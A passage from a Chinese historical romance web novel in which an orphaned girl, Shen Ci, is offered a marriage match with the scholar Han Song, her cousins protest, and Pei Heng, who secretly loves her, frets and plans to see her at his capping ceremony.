“思怡,你跟姐姐说清楚,娘是怎么告诉你的?”楚映梦很是紧张,声音都不知不觉的大了一些,将楚思怡吓了一跳。 “我…我…” 楚映梦见状也知道自己有些着急,她稳了稳心神,开始哄人,“你别着急,慢慢说,是姐姐不好方才太过着急。” 楚映梦牵着妹妹的手回到住处,仔仔细细的问了一遍,才知并非是母亲告诉她的,而是她过来的时候偷听到嬷嬷和娘亲说话才知晓。 “我去的时候表姐还没到正院。” 楚思怡将话说的明明白白,她原本也不会撞上,只是恰好今日要去给祖母请安,她便想着顺道去给母亲请安,才这么巧遇上了。 “姐姐,怎么了?表姐成亲不是好事吗?”楚思怡不知姐姐为何这般的烦躁,连说话的声音都小了许多。 若是从前楚映梦当然觉得这是好事,但是现在… 她明明告诉自己,心里那虚无缥缈的念头是天方夜谭,可楚映梦总是没有办法忽略掉这个念头。 偏偏,她谁都不能告诉,谁都不能提。 以至于只有自己一人烦恼。 “也不知道母亲给阿瓷选了什么人家,思怡,要不你再去墙角跟蹲着,听一听能不能听到些什么。”楚映梦这会儿已经病急乱投医,什么话都脱口而出。 结果却看见楚思怡用一种奇怪的眼神看着她。 “你这么看着我干什么?难道你想阿瓷随随便便嫁给一个我们都不知道的人吗?”楚映梦有些激动,“这嫁人总要知根知底的才好。” 若是她表哥就更好,表哥那般的人,就很合适。 楚映梦揉了揉自己的额头,总觉得自己疯了。 “我不是这个意思。”楚思怡连忙安抚着快要气的语无伦次的姐姐,认认真真的告诉她,“我们也不用去蹲墙角,等会儿表姐出来,直接问不就好了?” 楚映梦:“……” 好像也的确是这么一回事。 楚映梦和楚思怡一块儿等了许久,原本这个时候楚映梦应该要绣嫁衣才对,但她心绪不宁,什么都做不了,楚思怡也不想在这个时候得罪姐姐。 二人就坐在一处枯等。 过了一个时辰,沈瓷才从正院出来,才刚出正院,就被早早等候的丫鬟请到了楚映梦的住处。 沈瓷有些不明所以的走了进来,“表姐,你找我?” 楚映梦重重的点了头,也没想着迂回而是开门见山的问她,“阿瓷,母亲找你所为何事?” 这话问的其实有一些唐突,但楚映梦此番也顾不得这么许多,何况沈瓷根本不会计较,她看着表姐和表妹,将此事和盘托出。 “舅母给我看了不少的画像,说是要给我议亲,问我是何看法。”沈瓷语气淡淡,正如楚思怡所言,只要她们问,她就一定会回答,不会有任何的隐瞒。 事实上,舅母虽然给了她许多的画像,但舅母的心中早已有了人选。 沈瓷今早如同往常一样去正院给舅母请安,但见舅母并没有在算账,反而是拿出了一堆卷轴,亲切的招呼她到自己的身边坐下。 “今日倒是听话了些,没有一大早就过来。”裴氏笑着开口。 先前因为沈瓷总是一日不误的过来请安,裴氏还曾特意的提过,让她不用每次都来,“夏日还好,冬日也是如此那得多冷?” 这些话,沈瓷时常都会听到,她知道舅母是真心关心她,但她也是真心侍奉。 “舅母这儿有许多的好茶,我给舅母泡茶的时候还能尝一尝,别处可没有的。”沈瓷嘴甜的哄人。 裴氏笑着点了点她的鼻尖,“几罐子茶叶,哪里就这般的稀罕?你若是喜欢我让人给你送过去就好。” 沈瓷却摇头,说姐姐妹妹都没有,若单单她一个人有也不好。 说来说去,沈瓷都没有应下裴氏的话。 无论裴氏怎么说,沈瓷依旧风雨无阻,裴氏没有法子,只能吩咐丫鬟好好的伺候,若是遇上刮风和下雨,便会早早差人候着。 冬日严寒,也会命人早小半个时辰隆起火盆。 后来裴氏就告诉沈瓷可以晚些时候过来,不用成日里那么早起,但大多数时候沈瓷都是不听话的。 “你来金陵也已经三个年头,一转眼就长大了。”裴氏看着沈瓷,总会恍惚想起小姑子还在府上的时候,她们姑嫂相处的一直都很融洽。 小姑子出嫁时,裴氏根本就舍不得,后来听闻噩耗,心中亦是久久不能平静。这些年她看着沈瓷长大,如今见她和母亲愈发的相似,心中又怎能不感慨。 “承蒙舅母多番照拂。”沈瓷由衷开口,心里 满是感激。 裴氏却没有居功,“我时常忙碌,当真没有照拂你什么,阿瓷能健健康康的长大,我和你舅舅都很是安慰。” 裴氏其实极少说这些伤感的话,只是她想起今日要和沈瓷说的事,有些情绪便怎么都止不住,就忍不住的多说了些。 这情绪裴氏没有掩饰,沈瓷很快就觉察到了不同。 有些小心翼翼的问道,“舅母可是有什么话要和我说?” 不怪她如此,到伯爵府的每一天,沈瓷都会告诉自己,要谨慎些,乖巧些,不能给舅舅舅母添麻烦,更不能恃宠生娇。 裴氏将桌上的卷轴递给沈瓷,告诉沈瓷这些都是替她选的夫婿。 沈瓷看着那一堆,差点儿没有回过神来。 裴氏没有注意到她的惊讶,只让她将卷轴打开细细的看起,上头五花八门,无一例外都是一些适龄的男子,边上还有基本的信息。 写着名字和年纪,还有些简单的写了身份。 沈瓷粗略的看了过去,大致有了些数。 “阿瓷觉得,哪一个好?”裴氏问的直白,起初也很担心自己这么直白的问话会不会不合适,但张嬷嬷告诉她一视同仁便是。 怎么问二姑娘的,就可以怎么问沈姑娘。 沈瓷方才粗略的看过,根本什么都没记住,只记住了几个姓氏,此番见舅母问起,也是一脸的茫然。 “舅母觉得谁更合适?” 沈瓷询问裴氏的意见,于她自己而言,对未来的夫婿当真是没有什么感觉,她不像表姐,可以自己选择。 也不像思怡,心中有一个能够牵挂的人。 婚事对于沈瓷而言,只不过是一种希望,曾经她的家在平江,有她的爹娘,后来爹娘没了,沈瓷的家也没了… 在金陵,舅舅和舅母都对她极好,外祖母也对她诸多偏爱,更别提姊妹们对她的关心。 但即便如此,沈瓷也知晓,这不是自己的家… 她一直都知道,自己是寄居此处。 沈瓷的心中,也一直期待着可以成亲,那样她就能够拥有自己的家,但她也知道凡事不能强求。 曾设想过无数回,却没曾想真正面对的时候,她脑子里竟是一片空白。 “舅母私心里觉得,韩嵩最合适。”裴氏将韩嵩的画像取了出来递给她,上头的人丰神俊朗,周身满是书卷气,沈瓷方才粗粗的扫了过去,对他倒是有一些印象。 “韩公子家中唯有一个寡母,父亲于两年前去世,他原本今岁也是要去科考的,却因为守孝的缘故耽误了,舅母着人打听过,都说他文采斐然,虽比不上裴珩,但比起修筠和景澄,还是绰绰有余。”裴氏并非是刻意抬举韩嵩。 只因事实如此。 嫂嫂更是搜罗过他历年的功课,绝非是个花架子。 “韩家原本也是士族,只是家道中落,又因为祖父被贬了官,才会如此…”裴氏将自己知道的事情一股脑儿的全部都说给沈瓷听。 沈瓷对韩嵩并没有什么感觉,但舅母说的话她却是认认真真的听着。 “韩夫人我虽然接触的不多,但听说也是个极好的女子。”裴氏说这句话实在是太含蓄了些,哪里是接触的不多,分明是以她的身份地位,根本就接触不到韩嵩的母亲。 所有的说法也不过是打听来的。 能将孩子教育的这般优秀,想来母亲也是不会差的。 “舅母若觉得合适,就依舅母的意思。”沈瓷回答的很认真,字字句句皆是心里话。 但裴氏却有些愁容。 她先前替楚映梦相看人家的时候,楚映梦那是见这个不满意,又看那个不满意的,惹得裴氏头疼不已,如今见沈瓷乖乖巧巧,她本应该欣慰。 结果欣慰不见得有多少,反倒是生出不少的心疼。 “阿瓷若是不喜欢,我们慢慢挑就是。”裴氏原先觉得韩嵩合适,但这会儿却怎么看都不顺眼起来,她的外甥女长得花容月貌,又这般知书达理乖巧可人。 怎得就不能慢慢的挑了? “婚姻大事,原本就是父母之命媒妁之言,先前和成安伯府的婚约也是爹娘定下的,如今爹娘已不在,承蒙舅母愿意替我张罗,自然也请舅母做主。”沈瓷尚不能分辨喜欢和不喜欢。 她根本就没有去想这些的心思。 只是她知道舅母是不会害她的,选出来的人,肯定不会差。 裴氏见她这般说起,心中怜惜更甚,“若是你觉得合适,那舅母就再让人仔细的去打听一番,过几日要还是不曾改变主意,我便请韩夫人出来见一见。” “舅母想着找个时间,让你和韩嵩见一见,若你觉得他尚可,我们再商量之后的事情。” 裴氏将事情安排的井井有条,沈瓷倒是不反对,说都凭舅母做主。 等到沈瓷走了以后,裴氏才对着张嬷嬷说出自己心中担忧,“我瞧着阿瓷像是还未开窍…这会儿若贸贸然的定下婚约,待到日后她会不会…” “夫人,话可不能这般说,世人定亲大多都是盲婚哑嫁,二姑娘和季小将军不过是因为同在金陵,彼此曾见过,何况夫人您心善,不愿二姑娘嫁一个全然不喜的人,才会如此。”张嬷嬷分析的头头是道。 事实也是如此,谁家定亲不是选的父母看中的人选。 “依奴婢愚见,表姑娘若是不开窍,也许是一件好事。”张嬷嬷活了这么一大把年纪,什么事儿没有见过? 世间男女,大多都是普通人。 情情爱爱的事儿,皆是虚妄,实在是惹人烦恼。 “夫人替表姑娘寻个好人家,只要对方人品过得去,家中没有什么乌七八糟的事儿,有您和二爷在,还有谁能欺负得了表姑娘?” “何况夫人不是还给表姑娘置办了不少的产业,有这些傍身,不担心姑娘未来过得艰难。” 裴氏想的是沈瓷是否愿意,可张嬷嬷想到的却是更实际的事儿。 “表姑娘和二姑娘三姑娘,还有两个哥儿关系都融洽,兄弟姊妹们相互扶持,也怕不姑娘被人欺负。”张嬷嬷轻声安慰。 这些事裴氏当然也想得到,她只是心疼沈瓷。 这般的阴差阳错,婚事也是高不成低不就,若是妹妹和妹夫还在,阿瓷又怎会落到这般近况? 她想嫁给谁又嫁不得呢? 韩嵩不差,但在裴氏和楚恒的眼中,却是将就。 沈瓷已经清醒的接受这般落差,但不能接受的大有人在。 往远了说有楚老夫人和楚二爷夫妻俩。 往近了说便是楚思怡和楚映梦。 二人听完之后,眉头一个皱的比一个厉害,“这韩嵩是什么人?怎么就没听过?” 也没听说有哪家的青年才俊叫这个名字的。 “我们不知道,也许哥哥他们知道。”楚思怡认真开口。 “那我们去找哥哥他们问问?” 姐妹俩说着说着就已经打定主意要去问,但还没走两步就被沈瓷给拦住,“表姐,思怡,这八字还没一撇,舅母说还要在打听打听的。” “不着急的,况且也没确定就是这一个。” “母亲都已经特意提起,八九不离十就是这个人,怎么能光光母亲去打听,我们也要去打听一番才行。”楚映梦这会儿压根就不淡定。 楚思怡年纪还小,不太清楚,但楚映梦年纪可不小,她没怎么听过这名字,就代表这人压根就没有和她们出席过同一场宴会。 这般人家…应当,应当…家境不好。 那阿瓷嫁过去岂不是要吃苦? 楚映梦一想到这里整个人都着急的不行。 一左一右的拉着沈瓷和楚思怡就去了书房,她今儿个必须要弄清楚,这韩嵩到底是个什么人。 * 楚修筠和楚景澄这会儿正在写功课。 也不知道为什么,表哥最近就跟疯了一般,时不时的给他们布置课业,他们要应付学堂的课业已经很是吃力,回到家中还有。 只可惜二人想抗议也抗议不成。 家中根本就没人听他们的。 这会儿听到外头有杂乱的脚步声,心情甚是烦躁。 “谁啊,在外头吵吵嚷嚷的,不知道我和大公子正在看书吗?”楚景澄骂骂咧咧。 结果那脚步声越来 越近,没一会儿功夫门就被撞开,楚景澄本以为这般冒失的人会是思怡,谁知定睛一看居然是楚映梦,身后还拖着两个。 那俩估摸着是一路被拽过来的,这会让还没缓过神来,捂着胸口喘气。 “映梦?”楚景澄傻了眼,“怎么是你?” 不怪楚景澄失态,就连楚修筠也满是惊讶,“出什么事了?你怎么那么着急过来?” “思怡去关门。”楚映梦自己也累得够呛,但还能撑得住,这会儿还记得吩咐妹妹。 但楚思怡是真的没了力气,不住的摆手连话都说不出来。 楚修筠见状过来关了门,无奈道,“先坐下歇一歇,什么事这么着急非要用跑的?” “大哥二哥,你们知道韩嵩是什么人吗?”楚映梦开门见山的问道,一边问还一边喘着。 看的楚景澄一脸担忧,连忙去倒了三杯水过来。 “快歇一歇。” 茶水有些凉,楚映梦一口喝干,将茶杯一放就迫不及待的追问,“你们俩还没回答我的问题。” “先前在书院的同窗,不过我们不太熟悉。”楚景澄随意的应付了一句。 全然没放在心上,更是不能理解楚映梦为何会问起这些。 “倒是,学问不错。”楚修筠中肯的说了一句。 他们对于韩嵩的所有记忆均来源于此。 楚映梦气鼓鼓的看着他们,告诉两位哥哥,母亲打算替沈瓷择婿,而这人选就是韩嵩。 “什么?” “有这回事?” 这会儿轮到楚修筠和楚景澄不淡定了,声音一个比一个高。 沈瓷看着他们几个,只想捂着自己的耳朵,她不是说了吗? 还不确定呀。 第34章 第34章沈姑娘应当好好的看一看眼睛…… 楚修筠和楚景澄一个比一个不淡定,声音一个比一个大,反而是吓了楚映梦一跳,她起身走到外头,吩咐人离得远些,后又派楚修筠的小厮守在外头,不准任何人过来。 做完这一切才回到屋子里。 看向气恼不已的两位兄长,心中冷笑不已,方才不还是好好的吗?怎么这会儿又受不住了? 刚才谁劝她来着? 这会儿怎么不劝一劝自己。 楚二姑娘在心里腹诽完之后,莫名觉得心情好了不少, “阿瓷,难道你答应了?”楚修筠沉不住气,径直跑到沈瓷的面前来问个究竟。 沈瓷忍不住的揉了揉自己的耳朵,小声抱怨,“大表哥,你轻一些。” 楚修筠心说都到这时候了,他哪里还能够顾得上这些?可当着沈瓷的面,到底是冷静了些,“那韩嵩,那韩嵩…” 他试图委婉的告诉沈瓷,韩嵩家中的情况,可有些话实在是不好说出口。 “那韩嵩家道中落,如今家中也不知是什么光景,若是和他定亲实在不是什么好事。”楚修筠还有些犹豫,但楚景澄却半点犹豫都没有,直截了当的说了出来。 楚映梦虽然觉得二哥说话太直,但也没有要打断的意思,实则她也是这么想的。 “舅母只是同我说了这件事,尚未确定。”沈瓷有些无奈的笑了起来,对于表哥和表姐说的话,她也没有任何的反感。 她知道他们都是为自己好。 “阿瓷你自己呢?你是怎么想的?” 几个人就这么眼巴巴的看着沈瓷,看的沈瓷都有些恍惚,她看着表姐和思怡,又看了看两位表哥,不知想到了什么,噗嗤一声笑了出来。 几人正在紧张着,结果却遇上沈瓷这样的反应,一个两个面面相觑,全然不知道她在笑什么,“阿瓷?” “嗯。”沈瓷低低的应了声,看着几人又忍不住弯了弯唇,几人就更加懵了,好在沈瓷还有一些分寸,笑了没一会儿就开口解释,“寻常女子议亲,都只是同姐姐妹妹商议,可我不一样,还有哥哥们可以出谋划策。” “这般想着,倒是觉得我很幸运。” 沈瓷浅浅笑起,几人听完之后却有些气恼。 “阿瓷!” “都什么时候了!” “你还有心情在这里开玩笑?” 几个人气呼呼的瞪着她,沈瓷轻轻的咳嗽了声,“舅母说韩嵩是个不错的人,虽说清贫些,但人踏实上进。家中唯有一个寡母,也不是喜欢生事的性子。” “你的意思是当真觉得这韩嵩不错?”楚映梦瞪大了眼睛,眼中满是不敢相信。 沈瓷不知表姐的反应为何会那么大,她轻轻的点了头,“舅母选中的人,不会差的。” 众人:“……” 这说的都是什么话? “母亲后面还说了什么?”楚映梦直勾勾的盯着沈瓷,其余三人也是一样的态度,若非楚映梦快了一步,他们就要自己问了。 “舅母说再派人去打听打听,若我觉得合适,她就约韩夫人相见。”沈瓷对于他们几人也没有要隐瞒的意思,将裴氏的打算也说了出来。 “舅母说日后有机会,便让我同韩嵩见一见。” 如果她觉得合适,这亲事多半就成了。 裴氏的打算沈瓷都能够明白,何况是亲生儿女和一直在她身边长大的楚修筠? 几人的眉头皱的一个比一个厉害,他们那是万分不乐意,楚修筠和楚景澄两人原本对韩嵩没有半分了解,这会子恨不得立刻找人去打听,尤其是楚景澄就想这么冲出去。 “你不要冲动,就算要打听也不能你我二人去,万一被人撞见了呢?” “那怎么办?”楚景澄气呼呼的看着他,“你也知道韩嵩能和我们成为同窗是怎么回事。” 若非他当真是才学过人,怎么也不能和他们成为同窗的。 夫子的确夸过韩嵩,但那又如何? 即便韩嵩是状元之才,那也只是夫子夸赞时说过的话,他如今还不知何时能够出头,难道要让阿瓷跟着他一起吃苦吗? 沈瓷安安静静的听着,大抵明白他们究竟在反对什么。 沈瓷的眼中渐渐浮上暖色,他们的着急担心和顾虑,沈瓷其实都清楚。 但婚姻之事,哪有那么容易呢? 他们说的很直白,就连楚思怡也听懂了,她原本的喜悦已经不复存在,缓过神之后就跑过来拉着沈瓷的手不肯放,就担心放开之后表姐下一刻就会受苦,“表姐,你别答应。” 惹得沈瓷哭笑不得,她安抚的拍了拍楚思怡的手。 看向了屋子里说着话就快要吵起来的三人,出声唤他们,“表姐,大表哥,二表哥,与人议亲,本就要门当户对才行的。” “舅母选中的人,无论从哪方面都很合适。” 若不然,就会生出诸多事端。 沈瓷此话一出,所有人都停了下来,有些无措的看着沈瓷,他们这才后知后觉的想起,姑姑和姑父已经不在。 按照如今境况,韩嵩的确是合适的人选。 但他们几人却从未这般考虑过,即便姑姑和姑父已经不在,他们依旧觉得沈瓷应该有更好的人相配。 沈瓷的一句话,让几人都沉默下来。 屋子里的气氛沉默的有些可怕,楚思怡一直拉着沈瓷的手,楚映梦的情绪也很低落。 更别提另外两个,这会儿整个人都已经傻了,说不出半句话来。 沈瓷其实清楚兄长和姐姐她们的心意,只是她更清楚自己的情况,她也并不是一个多么坚定的人,姐姐和哥哥们这般以为不可怕。 若她自己也这般认为,待到不得不面对现实时,那该是多么痛苦的一件事? 争吵到最后就这么不了了之。 沈瓷当真觉得裴氏选的人不错。 楚修筠和楚景澄没办法让她改变主意,只能偷偷的去打听韩嵩,一连几日都有些心不在焉的,他们俩不仅难受,还内疚,认为都是自己的缘故,才让表妹想起伤心事。 在学堂的时候心不在焉,连带着在裴珩面前也忍不住的发起呆来。 裴珩皱眉,“家中出什么事了?” 楚修筠和楚景澄这才回过神来,连连说无事。 他二人虽和裴珩关系融洽,但始终都记得要护着沈瓷的名誉,虽然心中有数这人选十之八九是韩嵩,但他们也不会直接言明。 何况他们俩还真期盼着奇迹的发生。 哪里愿意那么轻易的承认?万一,韩嵩不愿意呢? 可二人想到韩嵩不愿意的可能,又气得不行。 “既然无事,那就好好的看书。”裴珩的语气像极了严师,楚修筠和楚景澄再也没敢想入非非。 几人分别之后,裴珩便让长鸣去查查他们俩最近在做什么。 长鸣的速度很快,一个时辰后出现在了裴珩的面前,“大公子和二公子最近一直在打听韩嵩的事情。” 裴珩心中便有了数,挥了挥手让长鸣下去。 最近派人打听韩嵩的人不少,有母亲,也有姑姑,如今连楚修筠兄弟俩都卷了进来,是何原因不言而喻。 裴珩早知会有这么一遭,可当事情真正发生的时候,他却连一点儿立场都没有。 楚修筠和楚景澄还能光明正大的反对。 而他却什么都做不了。 裴珩揉了揉酸痛的眉心,他告诉自己要冷静,事情如今才刚刚萌芽,他还有时间,也还有机会。 那日,裴珩又将自己关在了书房之中。 处理完公务之后,他便耐心十足的在练字。 并非他天生淡漠,而是裴珩知道若自己不做些什么让自己冷静下来,他真担心自己会做出什么冲动的事情。 若那样做,事情只怕会愈发的复杂。 裴珩能够沉得住气,裴姝却一点都沉不住气,从忠毅伯府离开之后,裴姝就已经在想着要怎么去母亲那边试探。 有了前头那些事的铺垫。 裴姝在永宁候夫人面前,倒是放开了许多。 她闷闷不乐的看着母亲,似乎在埋怨母亲给沈瓷选了这么一个人,“阿娘,怎么你和姑姑都觉得这韩嵩好?” “这孩子有什么不好的?”永宁候夫人随口应了一句,“家世清白,踏实上进,若非要守孝,怕是早早的成亲了。” “可他配不上沈姐姐。”裴姝执拗的说道。 这已经是永宁候夫人第二次听见裴姝说这样的话,头一回她也许可能不在意,但是这一回她却是正经的看着裴姝,冷静的告诫道,“这话日后就不必再说了。” “若是宣扬出去,对沈家丫头没有任何的好处。” 裴姝瞧不上韩嵩,殊不知韩嵩也是许多人家看好的,年纪轻轻的才学过人,若非家道中落,也不至于如此。 她可是知晓,协律郎有意为家中庶女择婿,人选也是韩嵩。 沈瓷和韩嵩这事,不一定能成,但也决不能结仇,更不能将这些话挂在嘴边,若不然沈家丫头日后还怎么议亲? “可是…”裴姝心中着急,说话也有些些词不达意,她固执己见,认定母亲选的人选不好,永宁候夫人无奈不已。 只能郑重其事的和她解释,“若是从前,韩嵩的确配不上她,莫说是韩嵩,成安伯府的林书易也配不上,当初成安伯府的婚事,还是人家自己亲自登门求来的。” “若非沈毅夫妇想给女儿选个安稳人家,如何轮得上林书易?”永宁候夫人不屑开口,本也就是林书易运气好,是个嫡次子。 “既如此…那您还…”裴姝急急忙忙的开口,但话还没说全,就被永宁候夫人毫不犹豫的打断, “可那是从前。” 裴姝猛然睁大了眼睛。 “姝儿,她的父母均已不在,这世上又有什么人能为她做主?”永宁候夫人也知道自己这番话说出来有多么的扎心,她也不愿裴姝这个年纪就知晓许多,但事实就是如此。 “我知你想说什么,你姑姑和姑父的确待她很好,但你姑姑和姑父也只是沈家丫头的舅舅舅母,并非亲爹娘。” 裴姝尚不能明白母亲说的话是什么意思。 而永宁候夫人则是把话讲的很直白,“你姑姑会无条件的护着映梦和思怡,若有余力自然也会护着沈瓷,可倘若有一日,你姑姑只能护住一个孩子的时候呢?” “她是会护着自己的孩子,还是会选择护着别人的孩子?” 再多的情分,也只是情分。 真到了迫不得已的时候,人都会有私心的。 只是这话对于裴姝而言实在是太残忍,她睁大了眼睛看着母亲,像是没有想到母亲会说这般的话。 可偏偏永宁候夫人还没有停下,她告诉裴姝,在这世上能够无条件爱着沈瓷的人早已经没了。 “你姑姑疼她,也许是因为她聪明,乖巧,听话,有许许多多的缘由,但她的父母爱她,只因为她是她自己。” “可是…可是…”裴姝心中很难受,眼泪就这么扑簌簌的掉下来。 看的永宁候夫人心疼不已,她将孩子抱在自己的怀里,轻轻的拍了拍她的背,“那是个聪明的孩子,她日后会找到属于自己的幸福。” 如今艰难些,日后都会好起来,这么聪明的孩子,一定会有个很好的未来。 她见过那个孩子几回,许多人见着沈瓷的第一面,都会被她的容颜吸引,美丽而柔弱,总会让人忍不住的想要呵护。 但永宁候夫人知晓,那不是个柔弱的孩子。 她清醒又冷静,她和小姑子虽选中了人,但永宁候夫人其实并未想过沈瓷能够接受,或者说,她没有想过沈瓷能那么快的接受,毕竟她从前身份那般尊贵。 说实话,沈瓷做出的决定都让永宁候夫人刮目先看。 裴姝心中难受,但她还记得自己的目的,只当听不懂母亲的话,嘟嘟囔囔的又说了不少青年才俊,这些都是先前姑母给映梦姐姐议亲时候选出来的人。 永宁候夫人仔细的听着,却不得不告诉裴姝这些都不合适。 世家夫人不会要一个对自己儿子仕途毫无助力的儿媳妇。 世人逐利,人之常情。 若不然成安伯府又怎会出了事就去退亲? “那,若是母亲呢?”裴姝怯生生的问道,她将头埋在母亲的怀里,声音闷闷的,“母亲也和她们一样吗?” 她的心扑通扑通的直跳,也知晓自己说了多么冒犯的话。 但永宁候夫人没有在意,只当裴姝这会儿心中难受,自然也没有发现她真正的意图。 “若我是成安伯夫人,自不会做出此等背信弃义的事。” “可若不是早有婚约,母亲同样是趋利避害的人。” 永宁候夫人认真的回应着女儿的话,前一句是她的修养,后一句是她的私心。 裴姝知晓了母亲的意思,愈发呆呆的,离了正院之后,她就迫不及待的去找裴珩,今日的事情让裴姝心中难受。 她没有别人可以倾诉,只能去找哥哥。 裴珩写了许久的字,直到手腕酸痛才停下来,只是他冷静下来一看,才知纸上密密麻麻的全是沈瓷的名字,他怔了怔随后无奈的笑了起来。 墨迹已经干透,裴珩将那些纸张全部都收了起来,压在了书籍的最下头。 才刚做完这一切,外头就传来了裴姝的声音,有些怯怯的,“哥哥,我能进来吗?” 裴珩心中略过一丝疑惑,随即答应下来,他话音刚落,裴姝就推门而入,而这时他才看见裴姝的眼睛红红的,俨然是哭过一场,他皱起眉问道,“谁欺负你了?” 裴姝听见这话,又忍不住的掉了泪。 裴珩看了一眼长鸣,长鸣立刻走了出去,而他也没有去追问什么,只等裴姝自己冷静下来。 裴姝心中痛苦,看着裴珩的时候愈发的忍不住,刚刚止住的眼泪又落了下来,惹得裴珩无奈不已,“好端端的看着我哭什么?旁人不清楚还以 为是我欺负了你。” 他说着话,拿出袖中的帕子递给裴姝,裴姝接过之后,不住的在手中搅动。 “我今日去了姑姑家,映梦姐姐和思怡告诉我,姑姑在给沈姐姐议亲,而沈姐姐也已经答应,她们俩说,姑姑已经在想法子约韩夫人见面。”裴姝气呼呼的将所有的事情都说了出来,“映梦姐姐还说,姑姑想让沈姐姐同那韩嵩见一见,若是合适,若是合适…” “若是合适…这亲事多半就成了,是不是?”裴珩已不知自己是用什么语气说出这些话的。 他的声音冷漠的有些可怕,裴姝见他这般的平静,愈发的不高兴,满脸不高兴的等着裴珩。 但裴珩这会儿却无比的冷静,不动声色的套话,“母亲和姑姑选上韩嵩,有自己的考量,你怎么就哭成了这般?” “这亲事不是还没有成吗?”裴珩不知是安慰自己,还是在安慰妹妹,他虽难受沈瓷的决定,却也能够理解她的决定。 他知晓自己的心意,可沈瓷却不知道他的心意。 只是他有些不明所以,裴姝为什么会哭成这样。 修筠和景澄的情况他已经知晓,那么映梦和思怡应当也是一样的反应,那裴姝就不应该是这样的反应。 “除了这件事,可还发生了别的?” 眼看瞒不下去,裴姝便索性和盘托出,对着裴珩将今日的事情全部都说了出来,她语无伦次,说到后来都有些词不达意。 但裴珩却完完全全的听明白了,她不知道自己在哭什么,可裴珩却知晓她在哭什么。 她在为沈瓷心痛。 裴姝这个年纪未必可以理解母亲的话,或许她能够理解,也是因为理解了,才会愈发难受。 但裴珩却很感激妹妹,至少他知道母亲在顾虑和担忧什么。 至少,让他知晓母亲并非瞧不上沈瓷。 “莫哭了。”裴珩淡淡的安抚着妹妹,让外头的小厮去打了一盆水过来,“再哭下去明日眼睛都要肿了。” “哥哥?”裴姝有些疑惑的看着兄长,不明白他为什么可以这般的冷静。 不是喜欢沈姐姐吗? 难道…这喜欢也是假的吗? 喜欢也要权衡利弊? 裴姝想到这里又愈发想哭,好在最后关头是忍住了,洗过脸后的裴姝总算是冷静了不少,看着兄长时也没了顾虑。 狠狠地拿话往他心上戳,“表姐说,沈姐姐觉得韩嵩是个不错的人,她心中并不反对和韩嵩定亲。” 裴姝哀怨的看了兄长一眼,像是嫌弃他不中用。 裴珩压根就没注意到这些小动作,只是听着裴姝说的话,心中很是烦躁。 不错的人? 沈姑娘真当应该好好的找个大夫看一看眼睛,韩嵩究竟哪一点不错了? 第35章 第35章那由远及近的人,不是画像上…… 裴珩心中私以为,沈瓷的眼神不太好,明明只是看到了一张画像,听人七嘴八舌的说了几句,就觉着韩嵩不错。 这到底不错在什么地方? 同时他的心中也有不少的郁闷,金陵城中,不也有许多人各种夸赞他,从小到大这些话裴珩听的耳朵都快要起茧子。 她难道就听不见? 也没见她有多少听得进去。 裴珩心中酸涩不已,但这些心思却没有办法透露一分一毫,这会儿听妹妹说这些戳心窝子的话,即便心中不好受,面上也没有表露出来。 他忍耐的颇为辛苦,偏偏裴姝半点都没有体谅哥哥,说的话一句比一句狠,“沈姐姐还说,议亲要门当户对才是。” 裴珩原本还能够忍耐,听见这句话时当真是忍耐不得。 她的心中原来是这般想的吗? 门当户对? “沈姐姐和那韩嵩,算什么门当户对?”裴姝气呼呼的说道,他知道妹妹这是被气狠了,平素绝不会说出这样的话来。 裴珩想起其余几人的态度,大抵明白了如今的情况。 他不能轻举妄动,须得徐徐图之。 裴姝看着一言不发的兄长,心中愈发的气恼起来,她当真是想不明白,哥哥如今怎么就能这么沉得住气? “哥哥,你觉得那韩嵩怎么样?”裴姝忽然没头没脑的问了这么一句。 裴珩自然觉得韩嵩不怎么样,但这话不该由他来说,说出口之后许多的事情都会隐藏不住,裴珩不能冒这个险。 “母亲和姑姑选的人,总有什么过人之处。”裴珩淡淡开口。 他神色极为冷淡,那语气要多不情愿就有多么的不情愿,只可惜裴珩的情绪一向很淡,裴姝根本就看不出来,她气恼的哼了一声。 裴珩有些不明所以。 “这亲事也不一定能成。”裴珩说着自己都不怎么相信的话去安慰裴姝,他不知旁人是怎么想的,可至少在他的心中,沈瓷就是很好。 若他是韩嵩,他一定没法拒绝。 甚至还会催促母亲快一些上门去提亲。 裴姝并不知晓这是兄长在自欺欺人,还真以为兄长有什么好主意,不计前嫌的凑了过来,“哥哥你可是有什么好主意?” “什么?”饶是裴珩这般的聪慧过人,也没有弄明白妹妹这话是什么意思。 只见裴姝用一种了然的眼神看向他,“哥哥你说,你有什么主意能破坏沈姐姐和韩嵩的婚约?” “你告诉我,我肯定不说出去的。” 裴姝的眼睛亮晶晶的,但她说的这句话,是根本就不能听的。 裴珩:“…嗯?” 他其实当真不是这样的人,但这会儿面对裴姝的期待,裴珩发现自己很想就这么顺坡下了,裴珩认命的在心中叹了一口气,冲着裴姝道,“过些时日,母亲和父亲要在家中为我举办加冠礼,你下帖子,将沈姑娘请来…” 裴珩破罐子破摔的开口,他已经没法去看妹妹的脸色和眼神。 人总要到自己的跟前,亲眼所见,他才能判断有些事情是真是假,才能够想下一步的策略。 “好。”裴姝问也没有问原因,高高兴兴的答应下来。 只是答应完之后,她忽然想起了另一件事情,“哥哥,修筠表哥不是和你同岁,既然哥哥要举办加冠礼,那修筠表哥呢?” 裴姝想的简单,要多多给沈姐姐和哥哥创造见面的机会。 这不就是千载难逢的机会吗? 只可惜她才十三,不然高低还能再办一场及笄宴。 “加冠礼需要父亲或兄长在宗庙主持,修筠的父亲尚未回京,至于这冠礼何时办,姑姑和姑父还在商议之中。”裴珩解释了几句。 裴姝默默的点了头,将这件事情放在了心上,想着等修筠表哥加冠的时候,一定要给他备上一份大礼。 裴姝一直都想知道哥哥打算怎么去搞破坏,一个劲的旁敲侧击,直到裴珩再三解释他不会去搞破坏,裴姝才不死心的离去。 裴珩:“……” 他知晓裴姝反常,只是如今他自己也没法冷静,索性不去理会裴姝心里在想些什么。 这件事梗在他的心中,让他很是烦躁,他没法阻止,甚至都没有立场去阻止,但裴珩也不是坐以待毙的性子,他拼命的告诉自己要冷静一些。 只有冷静下来才能够想到对策。 但等到长鸣归来,却撞上了意欲出门的裴珩,“世子,您要出门?” 裴珩面不改色的点头,长鸣立刻让人去备车。 他本以为世子是有什么要紧事,没曾想裴珩目的明确的去了珍宝阁。 长鸣:“?” 这么火急火燎的,就是过来买首饰的吗? 大姑娘和夫人的生辰不是已经过了吗? 长鸣心中有些疑惑,但他到底是个尽职尽责的属下,没有半句多言,裴珩自然也没有必要和人解释自己的意图。 